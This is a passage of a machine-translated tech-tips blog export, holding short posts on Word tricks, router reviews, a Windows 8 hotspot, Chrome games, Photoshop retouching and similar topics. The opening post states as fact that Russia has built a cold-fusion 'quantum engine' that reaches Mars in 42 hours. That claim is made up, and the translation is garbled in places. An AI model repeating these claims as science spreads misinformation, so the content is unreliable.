shorten the time from Earth to Mars to 42 hours and to the Moon to be 3.6 hours.\nUnlike conventional engines that use chemical energy, quantum motors use the energy generated from cold fusion reactions with an efficiency of 1,000,000 times more.\nCold fusion reaction was successfully tested by Andrea Rossi, an Italian engineer, after which Russian scientists also mastered this technology. In cold fusion reaction, 1 kg of nickel material used can produce energy equivalent to 1,000,000 kg of gasoline.\nIn the near future, flying airplanes fitted with quantum engines can move in all environments: air, space, sea, sea and ground.\nThe time the aircraft is powered by an engine powered by the amount of controlled cold fusion synthesis used in quantum engines flying from Moscow to New York will shorten from the current 10 hours to an hour.\nWith quantum engines, the Russians once again took the lead in the outlaw, exploring the universe, opening a new era of interstellar travel.\nCrazy idea: Create an atmosphere for Mars Official: We have a new physical state: time crystal Amazing engine in the world, 9 times stronger than the Titanic engine ncG1vNJzZmismaXArq3KnmWcp51kv7a%2F0qKYZqulmLCmv9KfrKWkqWKvtrXLrWSaZaGqrq%2FA1KZknqaXnrumedKpnJ6cXaSzbn2PaWdmo51iwKav\n","link":"/post/russia-successfully-built-a-quantum-engine-speed-of-1-000-km-sec/","section":"post","tags":null,"title":"Russia successfully built a quantum engine, speed of 1,000 km / sec"},{"body":"Catalog is the best and most effective communication and advertising tool for brands today. Despite the age of technology, nothing can replace Catalog. Catalog is a creation combined with the content of the product extremely closely to convey to the viewer. Beautiful catalog templates are always appealing to viewers and make it easy for them to capture the product. In this article, Software Tips will send to you the most beautiful Catalog samples.\n    Beautiful catalog covers\n  Nice A4 catalog\n  The most beautiful catalog\n  The most beautiful and modern catalog\n  Catalog Dep\n  Beautiful catalog\n  Catalog Design\n  Simple catalog\n  Beautiful travel catalog\n  Modern catalogs\n  Catalog of the most beautiful houses\n  Catalog of beautiful houses\n  Catalog of beautiful furniture\n  Beautiful fashion catalogs\n  Catalog\n  Beautiful Catalog\n  Beautiful Catalog images\n  Nice catalog packaging templates\n  The most beautiful catalog cover template\n  Beautiful catalog cover template\n  Sample Culinary Catalog\n  Human Catalog template\n  Catalog of the most beautiful and beautiful catalog\n  Beautiful modern Catalog template\n  Beautiful Catalog template\n  Sample service catalog\n  Catalog of the most modern catalog\n  Modern Catalog template\n  Modern fashion catalog template\n  Jewelry Catalog template\n  Sample Catalog\n  Catalog template background\n  Beautiful catalogs\n  Product Catalog\n  Beautiful Catalog Books\nIn the article are the most beautiful catalogs today according to many different service industries. These catalogs are designed by famous designers in the world. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdl7KiwdOina6kXZiuta3LqJ5mq5Giva2x0g%3D%3D\n","link":"/post/the-most-beautiful-catalog-samples/","section":"post","tags":null,"title":"The most beautiful Catalog samples"},{"body":"The phone is a personal device that contains a lot of personal information of the owner, because of that, the security by using a screen lock pattern is very important. As for the 9-screen lock pattern, it is also quite complicated and difficult to find for inexperienced people. However, if you are a little more skillful by creating models, there will be code that no one can open if you do not disclose. In this article, Software Tips will send you the lock pattern that is both beautiful and difficult.\n    2020-02-03_11-20-32\n  2020-02-03_11-22-12\n  Pattern lock screen\n  Phone lock painted hegemony\n  Lock pattern very hard\n  Lock beautiful pattern for your phone\n  Locking difficult phone drawings\n  Lock screen with pattern\n  Phone screen lock\n  Hegemony phone screen lock\n  Locking the phone screen is extremely difficult\n  Unique phone screen lock\n  Locking your phone screen is super hard\n  Hegemony lock screen pattern\n  Extremely difficult pattern lock\n  Extremely difficult pattern lock\n  Beautiful lock screen pattern\n  The most unique pattern lock screen\n  Unique lock screen pattern\n  The hardest lock screen pattern\n  Pattern difficult lock screen\n  Pattern super lock screen\n  Hegemony lock screen pattern\n  Extremely unique pattern drawn screen lock\n  Pattern lock screen is extremely difficult\n  Beautiful pattern drawn screen lock\n  Pattern lock screen drawing difficult\n  Pattern lock screen drawing super hard\n  Pattern lock screen drawing\n  Pattern lock screen\n  Pattern lock screen drawing super difficult\n  Very unique lock screen patterns\n  Beautiful lock screen patterns\n  The unique lock screen pattern, hegemony\n  Difficult screen lock patterns\nIn the article are unique and cool lock screen patterns based on a set of 9-button screen lock. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK6loqmlmnqtu8KkZKybopqyr3nPmqutnaKjeqmxxp6kqKap\n","link":"/post/the-unique-lock-screen-pattern-hegemony/","section":"post","tags":null,"title":"The unique lock screen pattern, hegemony"},{"body":"Pokemon Go is a game that is currently storming in many countries around the world. Although it has just been launched, the application has reached more than 75 million downloads.\nIn Vietnam, Pokemon Go has just been opened and has attracted the attention of thousands of players. However, the drawback is that many Facebook users reflect that on their new feed, there are quite a lot of postings as well as announcements of Pokemon Go, which makes them extremely uncomfortable.\nSo how to block all posts containing Pokemon Go game on Facebook, please refer to the following article of Network Administrator.\n  Blocking Pokemon Go posts on Facebook: Using extensions allows you to block posts containing Pokemon Go phrases on Facebook. For example, if you do not want any postings containing the word Pokemon to appear on your message board, you can block that keyword.\nSocial Fixer is one of the extensions available on Chrome, Firefox, Safari, Opera, and Greasemonkey browsers. This extension allows users to block postings, notifications related to Pokemon Go keywords on Facebook.\nNote:\nThis extension only works on the Facebook version for computers and does not work on mobile Facebook apps.\n1. Open any browser (note the browser supports extensions) on your computer and visit the Social Fixer website.\nNext click the Download Now button to add the extension to your browser.\n  2. Follow the on-screen instructions to install the extension into the browser.\n3. After you've successfully added your extension and browser, the next step is to visit Facebook.com and log in to your account and password.\nNow on the screen you will see the Social Fixer window which allows you to apply any of the settings you want on your Facebook.\n  Here you want to block Facebook posts that contain a specific keyword, so you can select the Minimalist Settings option, then click Next until the installation is complete.\n4. The extension icon is a blue icon that appears in the top corner of the site's address bar. However, if you don't see the extension icon appear on the page, you just need to access the profile page and a message appears asking if you want to change your timeline. Click on Options .\n5. On the next window, click Filtering to edit the filter settings. Next find the option named Other , where you can select filtering options.\nOn the Matching text dialog box, add all the keywords you want to block from appearing on your Facebook message board. Use the \"|\" sign to separate words. Make sure you add \"i\" to the end of the list of words you want to filter.\n  6. In the Action section, select Hide.\n  \n7. Finally click Save in the top corner of the web page to save the changes. Once completed, reopen Facebook on your browser again. You will now see all posts containing the keyword you blocked no longer appear on the bulletin board.\n  Refer to some of the following articles: How to catch Pokemon rare in Pokemon GO AZ word about eggs in Pokemon Go Summary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWYpMRuwM5mmaWnk6B6orjLZqeoq6SoeqS7za2YoqaZo7RuvM6knKannmK0sHnGmqSeq12ku26ywJycm6efoA%3D%3D\n","link":"/post/this-is-how-to-block-all-posts-containing-pokemon-go-games-on-facebook/","section":"post","tags":null,"title":"This is how to block all posts containing Pokemon Go games on Facebook"},{"body":"The latest Wi-Fi routers using 802.11ac technology, bring some improvements over the previous protocols, including wider channel bandwidth (up to 160Hz, compared to the previous 40Hz), multiple streams More MIMO (8 threads) and beamforming technology, technology sends Wi-Fi signals directly to the client instead of broadcasting in all directions.\nThe 802.11ac protocol also provides Multi-User MIMO (MU-MIMO) technology, designed to provide bandwidth for multiple devices simultaneously instead of sequentially. This means that up to 4 client devices can have their own data stream, rather than waiting for data from the router. For MU-MIMO to operate, the router and client device must contain the Wi-Fi MU-MIMO circuit. MU-MIMO routers and clients are still not very popular, but more and more MU-MIMO-enabled devices, including phones and smart TVs, are gradually being launched.\nYou'll see 802.11ac routers labeled as AC1200, AC1750, AC3200, etc. This specifies the theoretical maximum speed of the router. For example, the router can reach a maximum link speed of 450Mbps on the 2.4GHz band and 1,300Mbps on the 5GHz band called the AC1750 router. The three-band AC3200 router provides users with a speed of 600Mbps on the 2.4GHz band and 1,300Mbps on each of the 5GHz bands. It is important to note that routers rarely achieve this \"maximum speed\" in real-world applications, but if you value performance, consider one of the high-speed routers ( But note that their prices will not be cheap. Here is the best 802.11ac wireless Wi-Fi router for reference readers.\nTop best 802.11ac Wi-Fi wireless router Netgear Nighthawk X6 AC3200 Asus AC1900 RT-AC68CU TP-Link Archer C7 AC1750 Asus AC5300 Portal D-Link AC3200 Netgear Nighthawk X6 AC3200   Ignore the Netgear Nighthawk X6 AC3200's thorny look and see the best performance offering available today. With Wi-Fi speeds of 3.2Gbps, 6 high-performance antennas on the router ensure a strong connection. The Netgear Nighthawk X6 AC3200 owns a 1GHz dual-core processor with three additional load-reducing processors to increase performance at the most critical times. Along with beamforming technology, this 802.11ac router enhances the signal for all devices connected to it.\nIn addition, the inclusion of Netgear's Dynamic QoS bandwidth priority helps to select the devices that are currently online that require the most signals, and then it provides the device with the strongest connection possible. With 3-band Wi-Fi technology, bandwidth prioritization helps ensure both fast and slow devices are connected to separate networks, in order to maintain Wi-Fi signal stability. Fortunately, these features are easily connected by a simple setting. It only takes a few minutes for users to be online.\nAsus AC1900 RT-AC68CU   Asus Ethernet AC1900 RT-AC68CU 802.11ac router is another prominent choice with the latest technology and extremely fast speed. Equipped with a 1GHz dual-core CPU, the AC68U provides 3x3 dual-band antenna technology, capable of reaching speeds of up to 1300Mbps on the 5 GHz 802.11ac band and 600Mbps on the 802.11n 2.4GHz band. In addition, the 4K HD stream is supported by Broadcom TurboQAM technology.\nIn addition, Asus includes an exclusive feature called AiRadar, adding beamforming technology for amplified high-power signal connections. Users will see the coverage range expanded, the speed is significantly increased and the signal quality is also more stable. Fortunately, these features are easily utilized from the easy setup process. With the AC68U just a web-based 3-step installation process is available for users to be online in minutes. As an additional security layer, Asus also includes AiProtection through Trend Micro, which protects against multi-stage threats and keeps your device safe.\nTP-Link Archer C7 AC1750   Released in 2013, TP-Link's Archer C7 AC1750 802.11ac router is still a viable option for those looking for a technology for the future. AC1750 has a total bandwidth of 1.75Gbs, including 450Mbps on the 2.4GHz band and 1300Mbps on the 5GHz 802.11ac band. The signal is enhanced by six powerful antennas, three of which are outside and the remaining three antennas are inside the C7 hardware. Regardless of their location, high-speed Wi-Fi signals will be available in every room in the house, allowing you to play games, stream online or simply browse the web.\nThe setup process is also very fast thanks to the TP-Link, tether application, available for both Android and iOS platforms, so buyers can quickly connect and online in just a few steps. Affordable does not mean that it lacks some compelling features compared to higher priced competitors (mainly thanks to beamforming technology and MU-MIMO technology). The C7 still shines like a standalone model at a very comfortable price.\nAsus AC5300   The tri-band performance of Asus AC5300 is supported by 2 5GHz bands and a 2.4GHz band with the latest 802.11ac 4x4 technology, capable of reaching a maximum speed of 5334Mbps and covering a home or business. area up to 465 square meters. The integration of MU-MIMO technology allows Asus hardware to navigate higher speeds for specific devices, based on their maximum speed, ensuring all Wi-Fi connections work with Highest performance. For gamers, Asus has Gamers Private Network (GPN) - Private network for integrated gamers, ensuring a stable ping time to increase performance when there are many players online.\nAsus has set up 4 transmitting antennas and 4 receiving antennas. This 4x4 setting enables both signal and Wi-Fi range to be profitable, with the signal amplified to indoor areas (which may be the previous dead spots). In addition, AiRadar beamforming technology helps to transmit signals directly to devices, speed up Wi-Fi and make signals stronger. With all this range and speed advantages, protection against Internet intruders is essential and Asus is supported by AiProtection from Trend Micro. This will help detect and remove existing vulnerabilities on your home network.\nPortal   Although the design may not always be the deciding factor when buying an 802.11ac router, the Wi-Fi Portal router looks extremely beautiful and is capable of providing indoor coverage of up to 279 meters. square. The design itself is almost like a flat pebble, but with features that can replace both the current wireless router and Wi-Fi extender, the Portal is not just a flashy device. With patented features and technologies such as FastLanes, Portal can use proprietary fast channels to prevent congestion and WiFi signals.\nAll details in this dual-band Wave-2 4x4 MU-MIMO router make the Portal 3 times faster than any competing AC3200 router. In addition, the Portal is ready for the mesh network. It allows a second in-house Portal device to create signal strength 10 times faster and provide 3 times larger coverage than a single Portal device. In addition to the preeminent feature set, the setting is also a big plus. You can online within minutes via applications compatible with Android and iOS.\nD-Link AC3200   Although the design looks like a sci-fi movie, the D-Link AC3200 three-band WiFi router has 6 high-performance beamforming antennas, making it a good choice for gamers. With 600Mbps performance on 2.4GHz band and 2x1300Mbps on 2 5GHz bands, D-Link is extremely fast, even when playing heavy games or playing 4K videos. Equipped with a 1GHz dual-core processor, this router has been released in 2014, but its specifications are better than the latest models.\nThe advanced SmartBeam AC keeps track of indoor devices to ensure the best possible bandwidth for maximum Wi-Fi performance, ready as soon as the device comes back online. In addition, D-Link uses a process called Smart Connect - the smart connection to determine which of the three available Wi-Fi bands is best and it reroutes the device's signal to the frequency band. Best possible there. The good news for gamers is that they can forget about lag while connecting with friends around the world, because Beamforming technology is designed to give gamers maximum performance without adversely affecting them. Other Wi-Fi users in the house.\nSee more:\nTop 7 cheap Wifi routers in 2018 The best wifi transmitter, wifi modem, worth buying for you The best gaming routers today ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJucrKxdbX1zfZCammavmZu2bsPIq5ylnaOoerO71K2cqw%3D%3D\n","link":"/post/top-best-802-11ac-wi-fi-wireless-router/","section":"post","tags":null,"title":"Top best 802.11ac Wi-Fi wireless router"},{"body":"To enable wireless network connection sharing on Windows 8, follow the steps below.\n  \nWindows 7 has an Internet connection sharing function via ad-hoc protocol. However, on Windows 8 this function has been disabled, or more accurately hidden. Although it is unclear what the cause of this is from Microsoft, we can see the inconvenience. Want to share network connection via wireless waves, people often have to install an additional third-party program such as Connectify .\nHowever, Microsoft does not \"lock\" this feature completely. To enable wireless network sharing, follow the steps below:\nStep 1: Prepare the network card - Press Windows + R key combination, type ncpa.cpl to access the network card management window.\n  \nRight-click the wireless network card and select Properties.\n   \n- Go to the Sharing tab , select the first option and uncheck the second option to allow other devices to use your device's Internet connection. Select the network card that has an Internet connection to share.\n  \n- OK and exit.\nStep 2: Tips with the command line - Press Windows + X key combination or right click on the lower left corner of the screen, run Command Prompt window under Admin , select Ok when a message appears.\n  \n- Type the command line:\nnetsh wlan set hostednetwork mode = allow ssid = 'your network name' key = 'your password'\nFor example:\nnetsh wlan set hostednetwork mode = cho phép ssid = 'techz' key = 'Pa $$ w0rd'\n  \nWith the SSID is the network name you want others to see, and the key is the password of that network. With this password, your connection is protected by the WPA2-PSK (AES) security mechanism.\nAfter finishing this step, by default, other people still cannot see your network because Windows has not activated the network name promotion service.\n- Activate network name promotion mode:\nnetsh wlan start hostednetwork\nHere, the work is completed. If you want to display information about the machines connecting to your network, use the command:\nnetsh wlan show hosted network\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWauoqaUpMS0eZdmo5qopKS9brXNraZmr5mbtm60zq2qqaek\n","link":"/post/turn-windows-8-laptop-into-wifi-hotspot/","section":"post","tags":null,"title":"Turn Windows 8 laptop into Wifi hotspot"},{"body":"There are many ways to protect content within a text file. The easiest way is to set an access password for that file and only those with the password will be allowed to view the content inside it. However, with this approach, it is likely that curious people will ask the question of what content is contained within the content, but must have a password protected? So how to hide important content, but not to catch the attention of others with a password request dialog, that is, still allow others to view the content, such as important content, then There is no trace, like they never existed? Word 2007 has a great feature that you can hide any piece of content in the document you want. When you hide that content, it is as if the content never existed, then the spaces of the content paragraphs will also be removed. The following article will help you how to hide content in Word, how to view hidden content and make sure no one else can see it. Hide file contents in Word (this method can be carried out on Word 2000 or later versions) - First open any document you want to hide the content in that document. Below is the text before hiding the content. - Highlight the text you want to hide and then right-click and choose Font .\n  - In the Font dialog box, check Hidden in Effects.\n  - Click OK , your piece of content is now hidden. All traces of hidden content are completely deleted, including the blank paragraph. See hidden content in Word Viewing hidden content in Word is also quite easy. Press Ctrl + A to highlight the contents of the entire word file and then right-click and select the Font item again. You should now see the Hidden square highlighted, but instead of the traces, it is now greened all over.\n  Clicking on it, it will change to a blue tick, then the entire text is hidden. Now click on it again to remove this mark, which means that now there is no text hidden in the text.\nUse Hide content protection function (only applies to Microsoft Word 2007) As you can see, the hidden text is now back in place. But the problem is how to prevent others from hiding and viewing your hidden text. Fortunately, we can protect our text without fear of anyone changing the format or fixing its content by following the steps below. - First, click the Review tab in the menu bar and select Protect Document . Then select Restrict Formatting and Editing .\n  - Next, check the Limit formatting to a selection of styles box and click Settings .\n  - The Formatting Restriction window appears, tick formatting to a selection of styles again and click None to make sure nothing can be changed in formatting and style templates on your text file. .\n  - Click OK and then tick the box Allow only this type of editing in the document so that it will automatically be in No Changes mode.\n  - Finally click on Yes, Start Enforcing Protection and enter the password to protect your Word document. Make sure that the password is long and complex enough to protect against hackers who can find short passwords. Now your hidden content is safe and no one can see it unless they have your password. How to set this password different from the password set mentioned at the beginning of the article, that is, the contents are not hidden, others can still be viewed, this password only ensures that no one can change the content and properties within the text file only. Those who are curious can still see the normal content of the text file, but the contents that are hidden cannot be viewed. A way to 'tease' curious people is quite effective.\nncG1vNJzZmismaXArq3KnmWcp51kxLO1055kmmWglsC0w86rm2avmam1brnInKmoq5%2BbwW7Dzqub\n","link":"/post/write-a-password-with-microsoft-word/","section":"post","tags":null,"title":"'Write a password' with Microsoft Word"},{"body":"Nothing but the numbers, the blocks make interesting and balanced mind games, puzzle games and the excellent brain teaser on Chrome are suitable for all tastes and objects.Open Chrome and choose a fun and challenging game.\nIf you like softer intellectual games such as combining elements, items found to open doors, decoding a puzzle then try the game online Sad monkey, an intellectual game series The puzzle is loved by the office, young people.\nGames about numbers 1. Sudoku   If you loveSudoku, this Sudoku version from 247sudoku.com on this Chromel is a great choice.Choose levels from Easy, Medium, Hard and Expert depending on your level.After that, just select an empty square to fill in the number by selecting the number boxes on the screen.Alternatively, you can select a number box on the Sodoku worksheet to highlight that number.Click on the icon like a pencil to turn on annotation mode.\n2. Make All Equal   This is another game about numbers.Your goal is to exchange numbers from one box to another to achieve a certain total.The numbers used and the total are never the same.To achieve a high score, you should use the fewest possible moves.\nMahjong game 3. Mahjong Solitaire   Mahjongis a simple game for everyone.Mahjong Solitairefor Chrome lets you experience classic challenges with melodious music and sound effects to accompany it.You can choose different game layouts such as circles, pyramids, butterfly pictures and bullseye.You can also use help if you get stuck.\n4. All-in-One Mahjong 2   All-in-One Mahjong 2is a great choice forMahjongfans.The game has two modes, timing and score with 12 different color backgrounds and different types of tiles.You can also choose from tons of layouts like dinosaurs, skulls, beetles or foreigners.\nMatching games 5. Rainbow Lines   Maybe you like matching games more thanMahjongthen Rainbow Lines is an interesting option.In this strategy puzzle game, you need to remove the balls in the board by creating a row of four balls of the same color horizontally, vertically or diagonally to remove them.With each turn, the other balls will automatically show up, so move wisely to get rid of all the balls.\n6. Mystical Bird Link   Mystical Bird Linkis another interesting matching game.The gameplay is similar toMahjongbut it is different in that you have to find bricks that are connected to each other without being hindered by other bricks, but you will be limited in time.\nSliding puzzle game 7. Unblock It   Unblock It is a sliding puzzle game with simple but challenging rules.You have to slide the blocks to free the path for the red block to go to the exit.The thing to remember here is that the blocks only move in the direction of the wood block on them.Use as few moves as possible and get three stars at each level.\n8. 2048   2048is a combination of numbers, slipping and sliding shapes.Your ultimate goal is to get the number 2048. To do this, you use the arrow keys to slide the numbers in four different directions to connect them together.The same numbers will merge into one and create another by the arithmetic progression.The game ends when you reach the goal but you can continue playing if you want.\nWord games 9. Word Zoom   For game enthusiasts related to the word,Word Zoomis a lively, interesting and colorful game.You have one minute to join as many words as possible.At the beginning, you will see a group of randomly arranged letters, your task is to create a three, four or more word to continue.You will then receive a group of other letters and continue playing until the time runs out.The longer the match is, the higher the score will be.While playing, you should try to use the blue letters to double the score and yellow to add more time.\n10. Word Search Puzzle Game   If you like random word games, then Word Search Puzzle Game is the perfect choice.You can choose common topics such as words related to reptiles, basketball and beach or not thematic at all.Then just drag over the letters to create the words in the list until you find all the words in the table.You can also earn bonus points for finding words that are not on the list.\n11. Crossword Fun   If you are a fan of crossword games, you cannot ignoreCrossword Fun.You can choose different topics like animals, computer parts, programming terms or a regular crossword.After that, just enter the words in the correct position to answer the suggestions.Sometimes you will get suggestions through a photo.In addition, you do not need to answer the questions in turn, choose any questions you can answer.\nJigsaw Puzzle 12. Free Elegant Jigsaw Puzzles   If you like jigsaw puzzles, Free Elegant Jigsaw Puzzles must be on your favorite games list.You can choose some photos like city scenes, landscapes and dinosaurs.Each theme has a lot of paintings for you to pair.You just need to move the square pieces around the board to create the complete picture.\n13. Daily Jigsaw   For those who once owned paper jigsaws, they must be familiar with puzzle pieces in this game.Daily Jigsawis a great game of Chrome.First, you can choose to cut the picture into 6 or 192 pieces with different styles.Match the pieces in the right position to create the image and you will hear a click sound when paired correctly.\nBrain Teasers game 14. Link All   Link Allis an interesting but challenging game.Your task is to create a line that connects all the nodes together.The red bars prevent you from moving so you can't cross it.There are also many other interesting things that you must play to feel.So download this game right away and weigh it.\n15. Quipo Quiz   If you like brain teaser games as a test of your knowledge, Quipo Quiz must be in your 'must have \"games for Chrome.Quipo Quizoffers a variety of options with different topics. to stimulate your brain like animals, art and culture, geography, history, science and technology or sports, then choose a topic and number of questions you want to answer. Your level of proficiency through this game.\nChrome Web Store offers a lot of puzzle and brain teaser games, so sometimes you feel confused and don't know where to choose from.So, hope this list will help you choose the right game.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kfnZ5xZqqnKGelsGqusZmoKeslaG5pq%2FTrpilZZeWuqa%2FjKilZpuYp7yusQ%3D%3D\n","link":"/post/15-fascinating-intellectual-games-on-chrome/","section":"post","tags":null,"title":"15 fascinating intellectual games on Chrome"},{"body":"Facebook has released a new app for couples to share a private space online, \"even when you're apart.\" Tuned allows couples to share photos, notes, cards, voice memos, music from Spotify and even their moods. There's also a daily diary feature.\nFacebook calls it \"a private space where you and your significant other can just be yourselves.\" It's a digital scrapbook-style feed that's private to each couple, and includes custom reactions and stickers.\n \"With Tuned, you can be as mushy, quirky, and silly as you are together in person,\" NPE Team by Facebook, which created Tuned, says on the App Store. While the app is billed as being private, Facebook didn't immediately respond to a request for comment on whether it's encrypted like WhatsApp, or whether data is shared with Facebook and would be used to serve advertising.\nTuned is available for free on the App Store for iPhone and iPad.\nIt comes at a time when many couples might be separated due to social distancing guidelines during the spread of the coronavirus.\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdoa62usKhnKxlpKq7prCMmmSmnaOorqi1zaBkmqigYrOwvoycpq6onJrA\n","link":"/post/facebook-launches-tuned-a-messaging-app-for-couples/","section":"post","tags":null,"title":"Facebook launches Tuned, a messaging app for couples"},{"body":"You use Word 2013 and 2016 to edit documents, but in the process of working, you do not see the vertical and horizontal ruler bar. But you do not know how to display the ruler in Word, so please refer to the article below.\n  Here is how to show the ruler in Word 2016, with Word 2013 you do the same.\nMethod 1: On the Word file, select the View tab , in the Show section, select the check box in the square before Ruler to display the ruler (rule bar).\n  To hide the ruler, deselect the square in front of the ruler .\n  Method 2 : Use the shortcut Alt + W , on the View tab will appear the shortcut you select R to display the Rule bar .\n  To hide the Rule bar, press Alt + W again and select R.\n  Method 3: If you follow the above two ways and still do not see the vertical ruler, then do the following:\nStep 1 : Select File -\u0026gt; Options.\n  Step 2: On the Word Options window, select the Ad v anced tab, scroll down to the Display section, and select the check box in the box before Show vertical ruler in Print Layout view.\n  In addition, you can choose the measurement unit for the ruler by selecting the unit in the Show measurements in units of box after selecting it, click OK to close the Word  Options window .\n  Thus the vertical ruler will be displayed and the units of the ruler will be changed as you set.\n  Hopefully, with the ways to show / hide the ruler - the ruler bar in Word 2013 and 2016 that the article has shared, you can display the ruler whenever the ruler is hidden to easily align in the writing process. copy. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmqa6klah6qrqMsKarnF1nfXJ%2FjJqlnWViZX53eceormasn2Kxqr%2FPpZiyZaKquaZ5wZqprGWZo3q4u9GdZGtoYWh6orrDZmlpaWY%3D\n","link":"/post/how-to-display-rules-in-word-2013-and-2016/","section":"post","tags":null,"title":"How to display rules in Word 2013 and 2016"},{"body":"When you install Epic Launcher in Windows 10, it automatically adds itself to the boot list. Doing so will cause Windows to launch Epic Games Launcher when you log in. This is useful if you want to access Epic Launcher as soon as the system boots.\nThe downside is that Epic Launcher is quite heavy and increases the boot time of Windows 10. To make Windows 10 boot faster and reduce boot time, here are the steps you need to follow to remove Epic from Windows Startup and Prevent Epic Launcher from launching with Windows 10.\nHow to prevent Epic Launcher from launching with Windows There are two ways to remove Epic Launcher from the Windows startup list.\n1. From the Epic Games Launcher application To disable the launch of Epic Launcher from application settings, follow these steps:\nStep 1 : Open the Start menu by pressing the Win key . Step 2 : Search for \"Epic Games Launcher\" and open it. Step 3 : In the application, click on the Settings option . Click on the Settings option Step 4 : Now, uncheck the Run when my computer starts option . Uncheck the Run when my computer starts option Settings are saved automatically and you have deleted Epic Launcher from Windows Startup. From now on, Epic Games Launcher will not launch with Windows anymore.\nTo reactivate and make the application launch with Windows, follow the same steps but select the checkbox in step 4.\n2. From Task Manager To prevent Epic Games Launcher from starting with Windows using Task Manager, follow the steps below.\nStep 1 : Right-click on the taskbar. Step 2 : Select the Task Manager option . Step 3 : In Task Manager , go to the Startup tab . Step 4 : Find \"EpicGamesLauncher\" in the list and select it. Step 5 : Click the Disable button . Click the Disable button As soon as you click the Disable button , Windows will remove it from the boot list. After deletion, Epic Launcher no longer launches with Windows.\nTo turn it back on, follow the same steps but choose \"Enable\" in step 5.\nWhy remove Epic Games Launcher from the Windows Startup list? Like many applications, Epic Launcher will add itself to the Windows Startup list as soon as you install it. In general, this is a good thing. However, the more applications in the Windows boot queue, the longer it will take to boot Windows. This is because Windows tries to launch all applications in the Windows Startup list, as soon as you log into the system.\nBecause having a lot of apps on your startup list means a longer boot time, it's always a good idea to shut down applications that aren't really needed to launch with Windows.\nIf you really want an application to start automatically after Windows runs, but don't want it to affect the entire boot time, you can use Task Scheduler to delay startup programs.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiimsOmutNmnKmhk2K5osHNnJ%2Beql2bv7C5jKWYrqaTnbavs4ywoK2gXay2r7DOsKo%3D\n","link":"/post/how-to-prevent-epic-launcher-from-launching-with-windows/","section":"post","tags":null,"title":"How to prevent Epic Launcher from launching with Windows"},{"body":"Power lines crossing the composition may ruin any photo. A spectacular gothic temple, picturesque mountain scenery, or a breathtaking night city view cut by wires hanging in the air is frustrating. You are unlikely to haveanother opportunity to visit these places again to reshoot and often we simply can't find the best perspective to make distractions unnoticeable.\nThis tutorial dwells on how to remove power lines in Photoshop fast and easily. There are 4 ways to do it, following which, you can also erase any other distracting object in an image.\nIf you don't want to spend a lot of time trying to master Photoshop, or if you don't feel like paying for an Adobe subscription, refer to an online photo editing service (FixThePhoto Online Photo Editing Service), to get an improved photo in a quick way.\nMethod №1.Content-Aware Fill Content-Aware Fill is a powerful tool that you can use to remove power lines in Photoshop in several mouse clicks. This is the easiest method to cope with such a task.\nSTEP 1. Select an Object Load your image to the program and select the object you want to remove from it. The handiest instrument for the task is Lasso. Find it on the toolbar or use \"L\" hotkey.\nFirstly, draw a selection around the powerline that you need to erase. Make sure you perform selection with some small margin for the best results.\n  STEP 2. Open Content-Aware Fill After you've selected the necessary area, go to the Edit menu in the Menu Bar. Choose \"Content-Aware Fill\". The center of its workspace is vertically split into two parts. On the left, there is the work area; the right part is occupied by the Preview panel.\n  STEP 3. Adjust Content-Aware Fill In the work area, you will see the green overlay, which covers most of the picture. It's a sampling area overlay. This is an area, from which Photoshop can sample picture details. To fix the selection, use the Sampling Brush tool on the toolbar and drag it over the objects that don't make up the background.\n  STEP 4. Done! Enjoy Your Picture Without Power Lines Click OK, wait a few seconds and Photoshop will do everything for you. You will get a perfect image without power lines.\n  Method №2. UsePatch Tool This is one of the most popular waysof how to remove power lines in Photoshop since you get more control if comparedto the methods that involve an automatic Content-Aware Fill. Using the Patch Tool, you \"tell\"the software which part of the image you want to use while replacing unwanted areas.\nSTEP 1. Open a Photo and Adjust the Patch Tool Open your image and find this tool on the toolbar or use the \"J\" hotkey. Also, don't forget to click on \"Content-Aware\" in the top menu.\n  STEP 2. Select the AreaYou Want to Remove Circle the Power Line that you need to remove. Once you're done, release the mouse button and you will see the marching ants (dotted lines).\n  STEP 3. Clear the Space Click in the center of the drawn shape and drag the cursor to the closest empty area. The original shape will become \"filled\" with similar content from the new area. There is no power line anymore. To remove the marching ants, press Ctrl + D (Cmd + D).\n  STEP 4. Done! This way, you can select all the objects that are out of place. This method requires more detailed manual work, but the results are more accurate and cleaner than with automatic removal.\n  Method №3. Use the Clone Stamp Tool Currently, this is the oldest tool on this list, which can be used to remove power lines in Photoshop. Like the Patch Tool, here you need to select the area of the image that you want to use as a basis.\nThe disadvantage here is that you may need to spend more time to achieve the desired effect. However, if you want a precise outcome, then the time and effort are worth it.\nSTEP\u0026nbsp;1. Open an Image and Create a New Layer Open your picture and create a new layer by pressing Ctrl + Shift + Alt + N (Command + Shift + Option + N) above the background layer. You can also click on the new layer icon in the Layers window at the bottom. It looks like a sheet of paper.\n  STEP\u0026nbsp;2. Adjust the Clone Stamp Tool Choose the Clone Stamp Tool (S) on the toolbar. To get a better result while using this instrument, select the cloning source. Do it by pressing the Alt (Option) + the left button of a mouse. This means that you will paint with the pixels you have chosen as the source. Make sure Aligned is unchecked in the tool settings and Current \u0026amp; Below is selected.\n  STEP\u0026nbsp;3. Start Erasing the Object Now select the appropriate clone sources around the power lines and paint over them with the Clone Stamp tool. This is quite painstaking and time-consuming work, but the result is 100% perfect.\n  Method №4. Healing Brush Tool The Healing Brush Tool is similar to Content-Aware Fill,with the shape of a brush being the only difference. By clicking and dragging it, you can paint around any object that has to be removed.\nSTEP\u0026nbsp;1. Open the Image and Create a New Layer Open a picture and go to the Layers panel. There, you will see this photo as the background layer. Add a new blank layer above the background layer by holding Ctrl + Shift + Alt + N (Command + Shift + Option + N).\nSTEP\u0026nbsp;2. Choose Healing Brush Tool Choose the Healing Brush Tool from the toolbox. By default, it's located behind the Spot Healing Brush Tool. Click on it and choose \"Healing Brush\" from the drop-down menu that will open.\n  STEP\u0026nbsp;3. Adjust the Healing Brush Tool For further work, you need to adjust the Healing Brush Tool. In the \"Sample\" window, 